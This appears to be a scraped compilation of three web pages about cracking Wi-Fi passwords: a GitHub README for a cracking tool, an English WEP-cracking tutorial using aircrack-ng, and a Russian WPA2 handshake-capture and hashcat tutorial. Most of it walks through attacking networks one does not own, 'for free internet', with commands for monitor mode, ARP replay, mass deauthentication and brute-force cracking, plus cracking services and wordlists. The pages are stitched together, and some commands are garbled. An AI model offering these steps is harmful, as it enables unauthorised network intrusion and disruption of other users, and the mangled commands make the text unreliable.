Hacking wifi with linux ubuntu

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Cyber Security Tool For Hacking Wireless Connections Using Built-In Kali Tools. Supports All Securities (WEP, WPS, WPA, WPA2/TKIP/IES)

License

ankit0183/Wifi-Hacking

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

No Need To Ask Wifi Password, HACK it. This Cyber Security Tool, Will Hack For You Any Wifi-Password.

1)Start monitor mode 2)Stop monitor mode 3)Scan Networks 4)Getting Handshake 5)Create wordlist 6)Install Wireless tools 7)WPS Networks attacks 8)Scan for WPS Networks 9)Crack Handshake with rockyou.txt 10)Crack Handshake with wordlist 11)Crack Handshake without wordlist

• Kali Linux
• BlackArch Linux
• Ubuntu
• Kali Nethunter
• Termux ( Rooted Devices)
• Parrot OS

Kali Linux / Ubuntu / Parrot OS

1) sudo apt-get update && apt-get install git 2) sudo git clone https://github.com/ankit0183/Wifi-Hacking 3) cd Wifi-Hacking/ 4) sudo python3 Wifi-Hacking.py

(Ankit Kanojiya) Hey, Dont Forget To say Thanks me 😄

if you like my work, Buy me a Cup of Coffee PhonePay/PayTm/GPAy 9768367597

Wifi-Hacking tool not responsible for misuse and for illegal purposes. Use it only for Pentest or Educational purpose 😄 .

Pull requests are always welcome.. 🙂

If this CyberSecurity tool has been useful for you, feel free to thank me by buying me a coffee. 🙂

Happy Hacking ( Privacy & Security No Such Things Exists in digital World, We Can Hack Everything )

About

Cyber Security Tool For Hacking Wireless Connections Using Built-In Kali Tools. Supports All Securities (WEP, WPS, WPA, WPA2/TKIP/IES)

Источник

How To Hack Any Wifi Password using Ubuntu

WiFi hacking is not easy as people think and it cannot done through some softwares placed on play store or find everywhere over internet. wifi hacking can be done only through proffesional softwares or linux os. so anyone who want to crack or hack wifi password must use linux os to hack password for free. this is the only best way to hack password without getting hacked, because many software has placed a backdoor/trojan virus in it so it’ll hack your own computer not wifi password. so check the software first and then try to use the software. so i see alot of people in my facebook id are asking me to how to hack a wifi password. so i think alot and then sharing this article to you. it’ll definatly work and you’ll get the wifi password and will enjoy free internet access. so let start the tutorial.

First we have to install air-crack program in o.s
1. install aircrack
sudo apt-get install aircrack-ng

2. You need to go in root first. For this purpose type “su –“ and type your password.

(3) Now Type Following Command In Terminal Code:
# iwconfig wlan0 mode monitoring

Note: If some sort of error occurs type “# iwconfig” in a terminal to check for your wireless.

4. After that it’s time to scan for a wireless network which we will compromise with educational purpose. This time we will use the command:
# airodump-ng wlan0

5. Once you’ve found one, abort the process with Ctrl+C. Now when we have got our target it’s time to collect some information about the network. First of all copy the MAC Address of the access point which stands for BSSID (should look something like 00:15:EB:E7: …). Another thing is that we need to know the channel it’s currently working on (could see that under CH – e.g. 6). So let’s gather our information with airodump-ng.
Code:
# airodump-ng –w wep –c 6 –bssid 00:15:EB:E7: … wlan0

6. Now we need to open another terminal in which we will use ARP Reply attack to increase the amount of data packets and gather the initializing vectors or IV of the earlier chosen Access Point.
Code:
# aireplay-ng -3 –b 00:15:EB:E7: … wlan0

7. Let’s go to terminal 1 again and have a look at the data packets. We need to have collected over 20 000 packets. If so abort both airodump-ng and aireplay-ng.
Now we have everything required to decode the key of the wireless network. We do that with aircrack as shown below:
Code:
# aircrack-ng wep-03.cap

Then you should see that the key has been decrypted 100% successfully and the key itself.
Note: Its For Educational Purpose Only.

Best Hackings Books For You Free Download

Download Hacking Books Here

A technology enthusiast and addictive blogger who likes to hacking tricks and wish to be the best White Hacket Hacker of the World.

Источник

Hacking wifi with linux ubuntu

Выбираем образ Kali Linux, назначаем количество ядер и ОЗУ для виртуальной машины и нажимаем на кнопку Импорт .

Запускаем Kali Linux и вводим логин kali и пароль kali .

2. Установка aircrack-ng

Aircrack-ng – набор инструментов для мониторинга, пентестинга Wi-Fi сетей и взлома WEP, WPA 1 и 2. В Kali утилита aircrack-ng предустановлена. В Ubuntu выполним следующую команду:

Узнаем имя Wi-Fi адаптера с помощью команды ifconfig или ip a .

Для просмотра списка обнаруженных сетей введем wifi.show .

5. Получение рукопожатий

Выберем цель – точка доступа NX531J . Попробуем получить рукопожатия (англ. handshake) между точкой доступа NX531J и подключенным к ней устройством. Ждем, когда клиент отключится и подключится снова, либо принудительно отключим его командой деаутентификации: wifi.deauth MAC-адрес точки доступа

MAC-адрес – уникальный идентификатор сетевого устройства. Его значение берем из столбца BSSID. В нашем случае: wifi.deauth 90:c7:aa:bb:cc:dd .

Повторяем эту команду, пока не перехватим рукопожатия.

wifi.deauth * и wifi.deauth all отключают все устройства на всех точках доступа.

Четырехстороннее рукопожатие

Четырехстороннее рукопожатие (англ. four-way handshake) – механизм создания парного переходного ключа PTK для защиты трафика.

Клиент в ответ генерирует свое случайное 32-байтное число SNonce. ANonce, SNonce и общий PMK (парный мастер-ключ) образуют PTK (парный переходной ключ). Во втором сообщении клиент отправляет SNonce и MIC (код целостности сообщения) точке доступа.

Точка доступа генерирует свой PTK для проверки значений MIC из второго сообщения. Если все верно, точка доступа отправляет клиенту сообщение о применении PTK.

Самое важное рукопожатие – второе . В дополнение к нему необходимо первое и/или третье рукопожатие. Лучший минимальный вариант – второе и третье рукопожатия.

Файл с рукопожатиями сохраняется в /root/bettercap-wifi-handshakes.pcap . Скопируем его в домашнюю директорию:

Как видно, мы получили первое, второе и третье рукопожатия. Выделим все рукопожатия EAPOL, файл с именем сети SSID (в нашем случае это Association Request) и нажмем File → Export Specified Packets .

Откроется диалоговое окно, в котором выберем Selected packets only и сохраним файл под названием hs.pcap .

7. Получаем пароль

Для начала, конвертируем файл hs.pcap в файл hs.hccapx (в команде новый файл пишется без расширения, только название):

8. Подбор по словарю

В Ubuntu установим hashcat командой:

Пароль от моей точки доступа: qwerty12 . Он присутствует в словаре для подбора пароля.

Чтобы начать перебор по словарю введем команду:

Тип атаки	Пример команды
Словарь	hashcat -a0 -m2500 example.hash example.dict
Словарь + Правила	hashcat -a0 -m2500 example0.hash example.dict -r rules/best64.rule
Брутфорс	hashcat -a3 -m2500 example.hash ?a?a?a?a?a?a
Комбинаторная атака	hashcat -a1 -m2500 example.hash example1.dict example2.dict

9. Брутфорс и атака по маске

При брутфорсе (англ. brute force) перебираются все возможные символы. Используя маски, мы сужаем диапазон подбираемых символов, например, только числа или только числа и строчные символы. Таким образом на перебор требуется меньше времени. Этот подход удобен, если мы примерно знаем, как человек придумывает пароли. Из атаки по маске можно сделать брутфорс, включив в перебор все символы.

Для атаки по маске введем следующую команду:

?	Символы
l (прописная буква L)	abcdefghijklmnopqrstuvwxyz
u	ABCDEFGHIJKLMNOPQRSTUVWXYZ
d	0123456789
h	0123456789abcdef
H	0123456789ABCDEF
s	!»#$%&'()*+,-./:;?@[\]^_`<|>~
a	?l?u?d?s
b	0x00 – 0xff

Команда для расчета через видеокарту:

11. Куда сохраняется пароль

После удачной расшифровки пароль выводится на экран и записывается в файл ~/.hashcat/hashcat.potfile .

Откроем его в текстовом редакторе, чтобы посмотреть результат:

Платформа passcrack.online получила пароль за 5 минут (рис. 21). С отправки в онлайн-сервисы лучше начинать расшифровку, так как вычислительных ресурсов у них больше, чем у домашнего компьютера.

13. Разница между WPA2 и WPA3

В июле 2018 года Wi-Fi Alliance выпустил протокол беспроводной безопасности WPA3. Посмотрим, чем он отличается от своего предшественника.

• уязвим к взлому через WPS;
• возможен перехват рукопожатий и получение пароля с помощью брутфорса;

Преимущества WPA3 в сравнении с WPA2:

• устранена уязвимость четырехстороннего рукопожатия за счет применения технологии SAE (Simultaneous Authentication of Equals), которая защищает от офлайн атак по словарю.
• поддержка PMF (Protected Management Frames) для контроля целостности трафика;
• шифрование 192 бит в режиме WPA3-Enterprise и 128 бит в WPA3-Personal;
• упрощенная настройка IoT-устройств.

Общее уязвимое место у WPA 2 и 3 – WPS (Wi-Fi Protected Setup).

14. Дополнительные материалы

Файл .hccapx для практики

На сайте hashecat доступен для скачивания файл .hccapx , на котором можно попрактиковаться в расшифровке. Зашифрованный пароль: hashcat! .

Онлайн-конвертер .pcap в .hccapx

Словари

• wpa2-wordlists – GitHub;
• SecLists – GitHub;
• Probable-Wordlists – GitHub;
• naive-hashcat – GitHub, файл rockyou.txt, 14 300 000 слов
• wordlists – GitHub, 460 000 слов;
• english-words – GitHub;
• md5this.com – пароль к архивам md5this.com;
• Rocktastic12a – 1.37 ГБ;
• crackstation.net ;
• wirelesshack.org ;
• wpa-sec.stanev.org .

Онлайн-платформы для расшифровки хеша

Бесплатные

• crypt-fud.ru – принимает файлы .cap и .hccapx;
• passcrack.online – принимает только файлы .hccapx размером не более 5Кб. Ссылка на страницу загрузки файла для расшифровки придет в письме после регистрации;
• onlinehashcrack.com – бесплатно, если пароль простой «12345678» или он есть в словаре из 20 млн слов. В ином случае используется брутфорс на ГП 9$/час.
• wpa-sec.stanev.org – распределенная система;
• kraken-client – распределенная система;

Платные

Чем открыть большой текстовой файл

Бесплатные программы для чтения и редактирования больших txt-файлов.

Чтение

Редактирование

• Vim (Windows, macOS, Linux);
• Emacs (Windows, macOS, Linux);
• Notepad++ (Windows);
• Large File Editor (Windows);
• GigaEdit (Windows);

Полезные ссылки

Законодательство

Саундтреки из сериала «Мистер Робот»

Мы научились мониторить Wi-Fi сети, проводить деаутентификацию подключенных к точке доступа устройств, перехватывать рукопожатия, получать пароли методом подбора по словарю и брутфорсом. Также узнали разницу между WPA2 и WPA3, и определили их общее уязвимое место.

Несколько рекомендаций, повышающих информационную безопасность:

• использовать сложный пароль и периодически менять его;
• отключить функцию WPS в роутере;
• регулярно обновлять прошивку роутера;
• использовать VPN (виртуальная частная сеть): OpenVPN, WireGuard и прочие.

Источники

[1] Самль, С. Д., Роуминг в защищенных беспроводных сетях с использованием IEEE 802.11i. «Научно-практический электронный журнал Аллея Науки» №6(22) 2018.

[2] Кухта А. И., Анализ методов защиты беспроводной сети Wi-Fi. «Молодой исследователь Дона» №2(23) 2020.

Источник